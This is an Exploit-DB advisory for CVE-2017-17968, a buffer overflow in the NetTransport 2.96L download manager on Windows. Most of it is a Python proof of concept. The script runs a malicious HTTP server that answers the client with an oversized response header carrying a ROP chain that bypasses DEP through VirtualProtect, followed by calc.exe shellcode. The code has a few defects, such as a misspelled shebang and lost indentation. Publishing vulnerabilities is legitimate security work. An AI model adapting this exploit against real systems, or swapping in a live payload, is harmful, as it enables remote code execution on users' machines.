NetTransport 2.96L - Buffer Overflow (DEP Bypass)

EDB-ID: 43408
Author: Aloyce J. Makalanga
Published: 2017-12-29
CVE: CVE-2017-17968
Type: Remote
Platform: Windows
Vulnerable App: Download Vulnerable Application

 # CVE: CVE-2017-17968 
# Date: 28-12-2017
# Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip
# Exploit Author: Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://xi-soft.com/default.htm
# Category: webapps
# Impact: Code execution

1. Description

A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution

2. Proof of Concept


#!/usr/bin/pythion




def main():
host = "192.168.205.131"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

#Disabling DEP by VirtualProtect()
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x10001653, # POP EAX # RETN [libssl.dll]
0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x00496596, # XCHG EAX,ESI # RETN 0x0A [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x004ea919, # POP EBP # RETN [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x4141, # Filler (RETN offset compensation)
0x004608df, # & push esp # ret [NetTransport.exe]
0x0045e75f, # POP EBX # RETN [NetTransport.exe]
0x00000201, # 0x00000201-> ebx
0x00554dbc, # POP ECX # RETN [NetTransport.exe]
0x00000040, # 0x00000040-> edx
0x00499c92, # XOR EDX,EDX # RETN 0x04 [NetTransport.exe]
0x0041254c, # ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x0054e559, # POP ECX # RETN [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x10004b93, # &Writable location [libssl.dll]
0x0050343f, # POP EDI # RETN [NetTransport.exe]
0x00487073, # RETN (ROP NOP) [NetTransport.exe]
0x10001653, # POP EAX # RETN [libssl.dll]
0x90909090, # nop
0x00486f78, # PUSHAD # RETN [NetTransport.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

#Tiny calc.exe shellcode

shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

MaxSize = 60000
EAX_overwrite= "A"*16739 #Always trigger a crash at EAX

#EIP 004E7828
#evil = "\x28\x78\x4E\x90"

rop = rop_chain
nops = "\x90"*10
pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode))
payload = EAX_overwrite + rop + nops + shellcode + pads

buffer = "HTTP/1.1 200 " + payload + "\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"


cl.close()
s.close()

if __name__ == '__main__':
import struct
import socket
main()



3. Solution:

No solution available at the moment.

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